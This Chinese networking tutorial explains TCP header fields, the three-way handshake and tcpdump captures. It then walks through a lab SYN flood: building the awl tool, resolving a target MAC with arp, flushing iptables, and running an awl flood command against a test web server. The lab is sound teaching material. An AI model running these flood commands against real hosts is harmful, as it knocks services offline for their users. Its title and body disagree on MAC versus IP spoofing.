实战-在局域网中使用 awl 伪装 MAC 地址进行多线程 SYN 洪水攻击

http://ssa.yundun.com/cc  云盾全球实时攻防图,如图  18-11  所示。

image.png

tcp 三次握手及 tcp 连接状态。 

   TCP 报文段的首部格式。

image.png

TCP 报文信息详解

源端口号:用亍标记主机迚程,端口号也称为迚程地址。 

目标端口号:通过 16 位字节标识 0-65535 共 65536 个端口。 

数据包序列号:TCP 数据分段。 

确认序列号:回应序列号,一次发一批报文时候使用序列号和确认号,TCP 三次握手的第一次无确认号。 

标志控制码,该字段有 6 个 bits 组成,每个 bits 标识一种含义,用以说明这个连接的状态,让接收端连接这个数据包的主要动作。 

URG(Urgent):紧急位,1 标识为紧急数据包,接收端要紧急处理,且“紧急指针”字段也会被启用 

ACK :TCP 协议规定,只有 ACK=1 时有效,也规定连接建立后所有发送的报文的 ACK 必须为 1 

PSH(Push Function):推送位,1 表示丌传送缓冲匙,而立即把数据包发送,无需在缓冲区等待再传送。 

RST(Reset):连接重置,当已建立的连接遇到意外断开时,在原有的基础上重新建立,不需要再三次握手,1 表示强制结束连接,且发送端已经断线。 

SYN(SYNchronization):当此位为 1 时,表示发送端希望双方建立同步处理(要求建立连接),主动要连接到对方,在连接建立时用来同步序号,当 SYN=1 而 ACK=0 时,表明这是一个连接请求报文。对方若同意建立连接,则应在响应报文中使 SYN=1 和 ACK=1.  因此,   SYN 置 1 就表示这是一个连接请求或连接接受报文。 

FIN (finis)即完,终结的意思,  用来释放一个连接。当  FIN = 1  时,表明此报文段的发送方的数据已经发送完毕,并要求释放连接。 

窗口大小:接收方的缓冲当中的可剩余容纳的报文个数,以及链路中的整体容纳报文的个数,0 表示缓冲器已经额满,所以应该暂停数据传输,发送一次能每多少个,取决亍接收方窗口大小。 

校验和:确认校验码。 

紧急指针:URG 为 1 时,指针有效,否则无效。 

填充位:可变长度,多数情况不使用。

建立 tcp 连接时的 tcp 三次握手和断开 tcp 连接时的 4 次挥手整体过程,如图  17-13  所示。 

image.png

实战1:使用tcpdump抓包查看tcp三次握手过程

tcp三次握手过程:

Client:我可以给你发数据吗?

Server:可以

Client:好的

image.png

三次握手的核心是: 确认每一次包的序列号。

tcp三次握手过程:

1、首先由Client发出请求连接即 SYN=1,声明自己的序号是 seq=x

2、然后Server 进行回复确认,即 SYN=1 ,声明自己的序号是 seq=y, 并设置为ack=x+1,

3、最后Client 再进行一次确认,设置  ack=y+1.

tcpdump常用参数:

-c         指定包个数

-n        IP,端口用数字方式显示

port   指定端口

image.png

手劢产生 tcp 包并抓包 

在xuegod63上登录xuegod64,抓取ssh远程登录xuegod64时,产生的tcp三次握手包:

# ifconfig ens38 down

# tcpdump   -n  -c 3 port 22  -i ens33

打开另一个终端,开始建立tcp连接:

# ssh [email protected]

The authenticity of host '192.168.1.64 (192.168.1.64)' can't be established.

RSA key fingerprint is b2:29:c8:62:98:80:92:3c:e2:67:3f:f0:7c:40:69:63.

Are you sure you want to continue connecting (yes/no)?   #到这里就不用执行了,tcp已经建立连接

查看数据包:

# tcpdump   -n  -c 3 port 22  -i ens33

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes

10:34:54.874512 IP 192.168.1.63.59528 > 192.168.1.64.ssh: Flags [S], seq 2421809005, win 29200, options [mss 1460,sackOK,TS val 2231108 ecr 0,nop,wscale 7], length 0

10:34:54.876367 IP 192.168.1.64.ssh > 192.168.1.63.59528: Flags [S.], seq 4293815945, ack 2421809006, win 28960, options [mss 1460,sackOK,TS val 542827 ecr 2231108,nop,wscale 7], length 0

10:34:54.877387 IP 192.168.1.63.59528 > 192.168.1.64.ssh: Flags [.], ack 1, win 229, options [nop,nop,TS val 2231111 ecr 542827], length 0

注:Flags [S]  中的 S 表示为SYN包为1

client主机返回ACK,包序号为ack=1 ,这是相对序号,如果需要看绝对序号,可以在tcpdump命令中加-S

# tcpdump -n -c 3 port 22  -S  -i ens33

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

16:00:54.310316 IP 192.168.1.63.57528 > 192.168.1.64.ssh: Flags [S], seq 1932774705, win 14600, options [mss 1460,sackOK,TS val 5103659 ecr 0,nop,wscale 7], length 0

16:00:54.311072 IP 192.168.1.64.ssh > 192.168.1.63.57528: Flags [S.], seq 3006844046, ack 1932774706, win 14480, options [mss 1460,sackOK,TS val 3869455 ecr 5103659,nop,wscale 7], length 0

16:00:54.311175 IP 192.168.1.63.57528 > 192.168.1.64.ssh: Flags [.], ack 3006844047, win 115, options [nop,nop,TS val 5103660 ecr 3869455], length 0

3 packets captured

3 packets received by filter

0 packets dropped by kernel

TCP三次握手连接状态详解:

image.png

TCP连接状态详解:

服务器端:LISTEN:侦听来自远方的TCP端口的连接请求

客户端:SYN-SENT:在发送连接请求后等待匹配的连接请求

服务器端:SYN-RECEIVED:在收到和发送一个连接请求后等待对方对连接请求的确认

客户端/服务器端:ESTABLISHED:代表一个打开的连接

实战:在局域网中使用 awl伪装IP地址进行多线程SYN洪水攻击

SYN洪水攻击概述:SYN洪水攻击主要源于: tcp协议的三次握手机制

image.png

SYN洪水攻击的过程:

在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端回应的ACK包。

这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接,直到等待超关闭,才能施放内存。

如果恶意者通过通过ip欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接并占用大量内存和tcp连接,从而导致正常客户端无法访问服务端,这就是SYN洪水攻击的过程。

实战拓扑图:

image.png

下载地址:https://gitlab.com/davical-project/awl/tags

在xuegod63 安装awl软件进行攻击:

通过xshell上传awl-0.2.tar.gz到Linux系统中

开始安装awl                                                     

#tar zxvf awl-0.2.tar.gz  #解压
#cd awl-0.2
#./configure       # 查检软件包安装环境
#make  -j  4          #make  把源代码编译成可执行的二进制文件; -j 4  以4个进程同时编译,速度快
#make install   #安装

查看安装的命令:

# which awl

/usr/local/bin/awl

在xuegod64上搭建一台web服务器,模拟要被攻击的服务器

# yum install httpd -y  #安装web服务器

# systemctl start httpd

# iptables -F

开始攻击:

实战4: 在局域网中使用 awl伪装IP地址进行多线程SYN攻击

获取对方的IP地址解析成MAC地址

[root@xuegod63 ~]# ping 192.168.1.64

[root@xuegod63 ~]# arp -n

Address                  HWtype  HWaddress           Flags Mask            Iface

192.168.1.17             ether   e0:b9:a5:ac:c5:76        C                     eth0

192.168.1.64             ether   00:0c:29:57:f5:b5        C                     eth0

awl参数如下:

    -i 发送包的接口,如果省略默认是eth0
    -m 指定目标mac地址    注:如果-m没有指定mac,默认目标MAC地址是“FF.FF.FF.FF.FF.FF”,

    FF.FF.FF.FF.FF.FF  MAC地址是什么?

    这表示向同一网段内的所有主机发出ARP广播,进行SYN攻击,还容易使整个局域网瘫痪。

    -d 被攻击机器的IP

    -p 被攻击机器的端口

    两台机器:

    # iptables -F

    # awl -i ens33 -m 00:0c:29:57:f5:b5 -d 192.168.1.64 -p 80

测试攻击效果:

在xuegod64上查看:发现很多伪装成公网的IP在攻击我们

image.png

版权声明:
作者:WaterBear
链接:https://l-t.top/1572.html
来源:雷霆运维
文章版权归作者所有,未经允许请勿转载。

THE END
分享
二维码
< <上一篇
下一篇>>